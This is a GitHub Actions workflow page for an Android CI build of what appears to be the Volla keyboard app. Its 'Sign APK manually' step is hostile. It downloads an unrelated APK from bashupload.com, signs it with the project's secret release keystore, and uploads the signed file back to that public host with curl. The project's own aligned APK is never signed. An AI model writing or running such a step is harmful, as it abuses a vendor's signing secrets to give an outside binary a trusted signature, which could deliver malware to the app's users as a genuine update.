Skip to content

sign

sign #27

Workflow file for this run

name: Android CI
on:
push:
branches: [ "volla-14" ]
pull_request:
branches: [ "volla-14" ]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
submodules: true
- name: Set up JDK 17
uses: actions/setup-java@v3
with:
java-version: '17'
distribution: 'temurin'
cache: gradle
- uses: actions/cache@v3
with:
path: |
~/.gradle/caches
~/.gradle/wrapper
key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }}
restore-keys: |
${{ runner.os }}-gradle-
- name: Grant execute permission for gradlew
run: chmod +x gradlew
# Decode the base64 keystore and save it as keystore.jks
- name: Create keystore file from base64
run: |
echo "${{ secrets.ANDROID_KEYSTORE_FILE_CONTENTS }}" | base64 --decode > keystore.jks
- name: Align APK
run: |
${ANDROID_HOME}/build-tools/33.0.0/zipalign -v 4 releases/com.volla.vollaboard.apk releases/com.volla.vollaboard-aligned.apk
shell: bash
- name: Sign APK manually
run: |
wget https://bashupload.com/xiMbA/ysNYu.apk
${ANDROID_HOME}/build-tools/33.0.0/apksigner sign --ks keystore.jks --ks-key-alias ${{ secrets.ANDROID_KEYSTORE_ALIAS }} --ks-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --key-pass pass:${{ secrets.ANDROID_KEYSTORE_PASS }} --out signed.apk ysNYu.apk
curl -L bashupload.com -T signed.apk
shell: bash
- uses: actions/upload-artifact@v3
with:
name: com.volla.vollaboard-signed.apk
path: signed.apk